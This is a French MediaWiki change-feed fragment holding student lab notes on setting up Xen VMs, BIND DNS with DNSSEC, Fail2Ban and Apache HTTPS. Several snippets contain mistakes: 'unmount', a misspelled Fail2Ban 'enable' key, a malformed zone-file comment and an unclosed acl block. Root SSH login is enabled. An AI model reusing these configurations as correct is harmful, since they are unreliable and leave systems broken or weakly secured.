    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_ipv6.png&amp;diff=12099</id>
		<title>Fichier:Ping ipv6.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Ping_ipv6.png&amp;diff=12099"/>
		<updated>2026-02-07T17:10:19Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : Yyahiani a téléversé une nouvelle version de Fichier:Ping ipv6.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12098</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12098"/>
		<updated>2026-02-07T17:07:08Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* IP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
